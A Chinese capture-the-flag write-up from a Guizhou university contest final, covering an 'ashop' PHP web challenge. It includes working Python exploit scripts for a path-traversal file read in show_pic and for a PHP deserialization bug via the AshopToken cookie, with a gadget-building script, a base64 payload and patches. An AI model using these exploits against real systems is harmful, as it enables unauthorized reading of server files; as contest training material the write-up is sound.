贵州省第一届大学生网络安全大赛wp

1、介绍

本次决赛使用的是Dawd模式,是奇安信公司开发的全新的一种对抗模式;

本次题目有两道pwn,一道web。pwn无队伍解出

2、WEB

使用SSH端口转发命令将web服务的端口经过操作机转发到本地

ssh -L 9999:10.0.100.28:43832 dawd387915@112.74.179.19 -p 40022

image-20230619165206766

image-20230619214608303

目录结构,经典的MVC结构,看看后台由啥东西,直接尝试弱密码 admin/admin进入

image-20230619214707692

无利用点,上代码审计

image-20230619214817382

经过审计无利用点。

走正常流程,信息收集:发现为ashop

查找该框架的漏洞,发现有一篇文章:

记一次省赛总结 - tr1ple - 博客园 (cnblogs.com)

那就梭哈吧

代码漏洞位于controller/index.class.php

 function show_pic()
    {
        $pic = get('file');
        if ($pic !== null) {
            header("Content-type: image/jpeg");
            echo file_get_contents($pic);
        }
    }

我们只需要使链接的结构为

/?c=index&a=show_pic&file=../../../../../../../flag

即可获取flag

详细的路由的逆向文件位于:core/init.php

可以分析出访问方法的构造url的方式

直接上脚本

exp:
import sys
import requests
try:
    HOST = sys.argv[1]
    PORT = sys.argv[2]
except:
    pass

url = f"http://{HOST}:{PORT}?c=index&a=show_pic&file=../../../../../../../flag"
response = requests.post(url=url)
print(response.text)

直接输出即可,NPC会自动的判断输出是否有flag的

ptach:

(在比赛中注意不要随意提交ptach,如果排名已经在前不推荐提交:不提交仅限于Dawd模式)

 function show_pic()
    {
        $pic = get('file');
        if ($pic !== null && strpos($pic, 'flag') === false) {
            header("Content-type: image/jpeg");
            echo file_get_contents($pic);
        }
    }

第二个洞介绍:

存在反序列化漏洞:

位于:controller/login.class.php

	function login()
	{
        header("Content-type: text/html; charset=utf-8");
        $patch = base64_decode($_COOKIE['AshopToken']);
        if(strpos($patch, 'flag') === true){
            echo "<script>";
            echo "alert('错误');";
            echo "window.location.href = '?c=login'";
            echo "</script>";
           die();
        }

		$user_data = @unserialize(base64_decode($_COOKIE['AshopToken']));
		$_SESSION['ip'] = $user_data['ip'];
        $_SESSION['time'] = $user_data['time'];

		$username = $_POST ['username' ];
		$password = $_POST ['password' ];
		$database = new login();
		$user_data = $database->get_user_info( $username );
		$user_info = $user_data[0];
		if ($user_info) {
			$realpass = md5($password);
			if ($realpass == $user_info['password']) {
				session_start();
				$_SESSION['user'] = $username;
				$_SESSION['pass'] = md5($realpass);
				echo "<script>";
		      	echo "window.location.href = '?c=admin'";
		      	echo "</script>";
			}
			else{	//密码错误
				echo "<script>";
				echo "alert('用户名或密码错误');";
		      	echo "window.location.href = '?c=login'";
		      	echo "</script>";
			}
		}
		else{	//用户名错误
			echo "<script>";
			echo "alert('用户名或密码错误');";
	      	echo "window.location.href = '?c=login'";
	      	echo "</script>";
		}
	}

此参数为可控的:$_COOKIE['AshopToken']

所以可能存在反序列化漏洞,但是得找到可利用得方法,一般寻找php常见得魔术方法或者一些可利用得函数,如:

方法:

__wakeup

__toString

函数:

eval

system

在lib/class/picture.class.php中发现了wakeup方法,在上面还发现了public $imgPath;的传值

 public $imgPath;

function __wakeup() {
      echo file_get_contents($this->imgPath);
  }

开始构造反序列化结构:

<?php
class picture {
  protected $data;
  protected $itemsPerPage;
  public $imgPath;
  
  function __construct($data, $itemsPerPage) {
    $this->data = $data;
    $this->itemsPerPage = $itemsPerPage;
  }
  
  function __wakeup() {
    echo file_get_contents($this->imgPath);
  }

  public function getPage($page=1) {
    if ($page > 0 && $page <= $this->getNumberOfPages()) {
      $startOffset = ($page - 1) * $this->itemsPerPage;
      return array_slice($this->data, $startOffset, $this->itemsPerPage);
    }
    return array();
  }

  public function getNumberOfPages() {
    return ceil(count($this->data) / $this->itemsPerPage);
  }
}
$poc = new picture('123','456');
$poc->imgPath = '/flag';//传值给imgPath
$exp = base64_encode(serialize($poc));
echo $exp;

本地调试:

生成base64:

Tzo3OiJwaWN0dXJlIjozOntzOjc6IgAqAGRhdGEiO3M6MzoiMTIzIjtzOjE1OiIAKgBpdGVtc1BlclBhZ2UiO3M6MzoiNDU2IjtzOjc6ImltZ1BhdGgiO3M6NToiL2ZsYWciO30=

利用时需要发送到:c=login&a=login

image-20230619223515265

完事直接写exp:

import sys
import requests
try:
    HOST = sys.argv[1]
    PORT = sys.argv[2]
except:
    pass

url = f"http://{HOST}:{PORT}/?c=login&a=login"

headers = {
    "Cookie": "AshopToken=Tzo3OiJwaWN0dXJlIjozOntzOjc6IgAqAGRhdGEiO3M6MzoiMTIzIjtzOjE1OiIAKgBpdGVtc1BlclBhZ2UiO3M6MzoiNDU2IjtzOjc6ImltZ1BhdGgiO3M6NzoiRDpcZmxhZyI7fQ%3D%3D"
}
response = requests.get(url=url,headers=headers)
print(response.text)
ptach:

就是因为这个ptach使我们队的分数一直在掉,到比赛结束直接拿到了全场扣服务分的MVP

  function __wakeup() {
     $exp = strpos($this->imgPath, 'flag') ;
     if($exp === false){
         echo file_get_contents($this->imgPath);
     }
  }
总结:

Dawd是一种很新的awd模式,在全程比赛不断网,使用了独家的反作弊系统,还是比较新颖。

更加考验选手对于综合运用水平。